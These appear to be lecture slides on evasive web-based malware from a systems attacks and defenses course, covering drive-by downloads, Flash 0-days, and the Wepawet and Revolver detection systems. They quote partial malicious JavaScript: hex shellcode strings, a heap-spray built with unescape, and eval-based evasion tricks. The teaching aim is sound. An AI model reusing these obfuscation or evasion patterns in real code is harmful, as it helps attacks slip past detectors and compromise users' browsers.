# CSC 591 Systems Attacks and Defenses

# **Evasive Web-based Malware**

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# Quiz

### http://go.ncsu.edu/ozsac1













# **Compromising the browser**



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# **Google Access Is Disrupted in Vietnam**

Some Google users in Vietnam were redirected to a website with the message: 'Hacked by Lizard Squad'



Php.net goes on lockdown after malicious code is found hosted on site servers.

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Attack on Dailymotion redirected visitors to exploits

# **Drive-by download**

- Web based exploits that target browsers and their plugins
- Usually based on JavaScript
- Heavily obfuscated

URL	Source hash	Wepawet	Source code	
http://interdoggy.com/content/fdp2.php?f	a217119f3642733c174c4de1c7329f9bcfe955d1	report	View	
var padding;				
var bbb, ccc, ddd, eee, fff, ggg, hhh;				
<pre>var pointers_a, i;</pre>				
<pre>var x = new Array();</pre>				
<pre>var y = new Array();</pre>				
var _l1 = "4c20600f0517804a3c20600f0f63804	aa3eb804a3020824a6e2f804a414141412600000000000000000	000000000000001239804a	5420600f000400004141414141	
4141416683e4fcfc85e47534e95f33c0648b40308b	400c8b701c568b760833db668b5e3c0374332c81ee1510ffffb8	8b4030c346390675fb8734	42485e47551e9eb4c51568b753	
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d54ff1683c4088be8e861fffffeb02eb7281ec040	100008d5c240cc7042472656773c744240476723332c74424082	02d73205368f8000000ff	560c8be833c951c7441d007770	
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363626653d340000";				
var _12 = "4c20600fa563804a3c20600f9621804	a901f804a3090844a7d7e804a414141412600000000000000000	000000000000007188804a	5420600f000400004141414141	
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363626653d340000";				
_13 = app;				

# Latest 0-day exploit

26 October 2016 Adobe Flash CVE-2016-7855 February 2 2015 Adobe Flash CVE-2015-0313

March 12 2015 Adobe Flash CVE-2015-0332 -CVE-2015-0342

# Latest 0-day exploit

### Adobe Security Bulletin

#### Security updates available for Adobe Flash Player

Release date: October 26, 2016

Vulnerability identifier: APSB16-36

Priority: 1

CVE number: CVE-2016-7855

Platform: Windows, Macintosh, Linux and Chrome OS

#### Summary

Adobe has released security updates for Adobe Flash Player for Windows, Macintosh, Linux and Chrome OS. These updates address a critical vulnerability that could potentially allow an attacker to take control of the affected system.

Adobe is aware of a report that an exploit for CVE-2016-7855 exists in the wild, and is being used in limited, targeted attacks against users running Windows versions 7, 8.1 and 10.

#### **Affected Versions**

Product	Affected Versions	Platform
Adobe Flash Player Desktop Runtime	23.0.0.185 and earlier	Windows and Macintosh
Adobe Flash Player for Google Chrome	23.0.0.185 and earlier	Windows, Macintosh, Linux and Chrome OS
Adobe Flash Player for Microsoft Edge and Internet Explorer 11	23.0.0.185 and earlier	Windows 10 and 8.1
Adobe Flash Player for Linux	11.2.202.637 and earlier	Linux

# Latest 0-day exploit

### Adobe Security Bulletin

#### Security updates available for Adobe Flash Player

Release date: April 11, 2017

Vulnerability identifier: APSB17-10

Priority: See table below

**CVE number**: CVE-2017-3058, CVE-2017-3059, CVE-2017-3060, CVE-2017-3061, CVE-2017-3062, CVE-2017-3063, CVE-2017-3064

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Security Updates Available for Adobe Acrobat and Reader

# **Dynamic analysis systems**



# Wepawet

- System to detect drive-by downloads
- Leading R&D for the past 5 years
- Publicly available at <u>wepawet.cs.ucsb.edu</u>
- Based on an emulated browser (HtmlUnit+Rhino)
- 93,962,555 processed submissions
- 2,930,669 malicious detections so far
- 1,626 registered users

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#### Analysis report for file 90c8f078680a104b4b78810b5a2328ff

#### Sample Overview

File	variant_72.pdf	
MD5	90c8f078680a104b4b78810b5a2328ff	
Analysis Started	2015-02-09 16:12:48	
Report Generated	2015-02-09 16:14:00	
JSAND version	2.3.6	

Reanalyze this file.

#### **Detection results**

Detector	Result
JSAND 2.3.6	malicious

# malicious

In particular, the following URL was found to contain malicious content:

file://90c8f078680a104b4b78810b5a2328ff/

#### Exploits

Name	Description	Reference
Adobe Collab overflow	Multiple Adobe Reader and Acrobat buffer overflows	CVE-2007-5659

## **Features**

- Redirection and cloaking
- Deobfuscation
- Exploitation

# **Results**

Dataset	Samples (#)	JSAND FN	ClamAV FN	PhoneyC FN	Capture-HPC FN
Spam Trap	257	1 (0.3%)	243 (94.5%)	225 (87.5%)	0(0.0%)
SQL Injection	23	0 (0.0%)	19 (82.6%)	17 (73.9%)	10 <u>1</u> 2
Malware Forum	202	1 (0.4%)	152 (75.2%)	85 (42.1%)	-
Wepawet-bad	341	0 (0.0%)	250 (73.3%)	248 (72.7%)	31 (9.1%)
Total	823	2 (0.2%)	664 (80.6%)	575 (69.9%)	31 (5.2%)

# Attack in the wild

var nop="%uyt9yt2yt9yt2"; var nop=(nop.replace(/yt/g,"")); var sc0="%ud5db%uc9c9%u87cd..."; var sc1="%"+"yutianu"+"ByutianD"+ ...; var sc1=(sc1.replace(/yutian/g,"")); var sc2="%"+"u"+"54"+"FF"+...+"8"+"E"+"E"; var sc2=(sc2.replace(/yutian/g,"")); var sc=unescape(nop+sc0+sc1+sc2); JAVASCRIPT







### evil.com

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#### Analysis report for http://evil.com

#### Sample Overview

URL	http://evil.com	
Domain	evil.com	
Analysis Started	2015-02-03 13:57:19	
Report Generated	2015-02-03 17:03:44	
JSAND version	2.3.6	

Reanalyze this URL.

See the report for domain evil.com.

**Detection results** 

DetectorResultJSAND 2.3.6benign

#### Exploits

No exploits were identified.

# benign

# **Evolution from previous sample**

```
try {
    new ActiveXObject("yutian");
} catch (e) {
    var nop="%uyt9yt2yt9yt2";
    var nop=(nop.replace(/yt/g,""));
    var sc0="%ud5db%uc9c9%u87cd...";
    var sc1="%"+"yutianu"+"ByutianD"+ ...;
    var sc1=(sc1.replace(/yutian/g,""));
    var sc2="%"+"u"+"54"+"FF"+...+"8"+"E"+"E";
    var sc2=(sc2.replace(/yutian/g,""));
    var sc=unescape(nop+sc0+sc1+sc2);
}
```

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# **Detecting the undetected**

# Revolver



- A system to dynamically track JavaScript evolution
- Publicly available at <u>revolver.cs.ucsb.edu</u>
- Build on top of Wepawet
- Provides a deep insight into new and previously unseen attacks

Revolver: An Automated Approach to the Detection of Evasive Web-based Malware **Alexandros Kapravelos**, Yan Shoshitaishvili, Marco Cova, Chris Kruegel, Giovanni Vigna USENIX Security, 2013



# + classification



not a traditional query not a traditional search result

# **Script summaries**

how many "if" statements how many "for" loops

. . .

88-dimensional Euclidean space k-nearest neighbor search

# **Classifying similar pairs**

- Injection
  - Scripts that become malicious with additions

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  - Identical scripts with different classification

# **Data-dependency**



# **Classifying similar pairs**

- Injection
  - Scripts that become malicious with additions
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  - Scripts that become benign with control-flow changes
- Data-dependency
  - Identical scripts with different classification
- Evolution
  - Interesting to track for malicious-malicious pairs

# **Evolution**



# Architecture



# Oracle

### Revolver's input

- Any analysis system that can provide to Revolver:
  - JavaScript (even dynamically generated code)
  - Classification
- Wepawet in our experiments
  - Submit suspicious URLs at wepawet.cs.ucsb.edu
  - Every submission on Wepawet gets analyzed by Revolver in real-time

# **Abstract Syntax Tree (AST)**

- Heavily obfuscated JavaScript
- All names are irrelevant
- Abstract the code as much as possible

### Node sequences

- We break the structure of the tree and create sequences
- Nodes are integers representing node types
   Sequence summary
- A statistical summary of node type occurrences

# Similarities

- Deduplication
  - Identical scripts
- Approximate nearest neighbors
  - Based on sequence summary
  - Intuitively similar scripts have similar summaries
  - 88-dimensional Euclidean space and k-nearest neighbor search
- Directional similarities
  - Trying to match the malicious code

# **Experiments**

- 6,468,623 web pages
  - 265,692 malicious pages
- 20,732,766 benign scripts
  - 705,472 unique benign ASTs
- 186,032 malicious scripts
  - 5,701 unique malicious ASTs

# **Results**

Category	Similar Scripts	# Groups by malicious AST
JavaScript Injections	6,996	701
Data-dependencies	101,039	475
Evasions	4,147	155
General evolutions	2,490	273
Total	114,672	1,604

# **Evasions in the wild**

```
// Malicious
function foo() {
    . . .
    W6Kh6V5E4 = W6Kh6V5E4.replace(/\W/g,Bm2v5BSJE);
    . . .
}
// Evasion
function foo(){
    . . .
    var enryA = mxNEN+F7B07;
    F7B07 = eval;
    {}
    enryA = F7B07('enryA.rep' + 'lace(/\\W/g,CxFHg));
    . . .
}
```

```
if((app.setInterval+/**/"")["indexOf"](aa)!=-1){
  a=/**/target.creationDate.split('|')[0];}
```

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# **Evasions in the wild**

// Malicious
OlhG='evil\_code'
wTGB4=eval
wTGB4(OlhG)

// Evasion
OlhG='evil\_code'
wTGB4="this"["eval"]
wTGB4(OlhG)

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# **Attackers' reactions**



# **Limitations for Revolver**

- No similarities
- Serve evasion before anything else
- Still need to analyze evasion and patch honeyclient manually

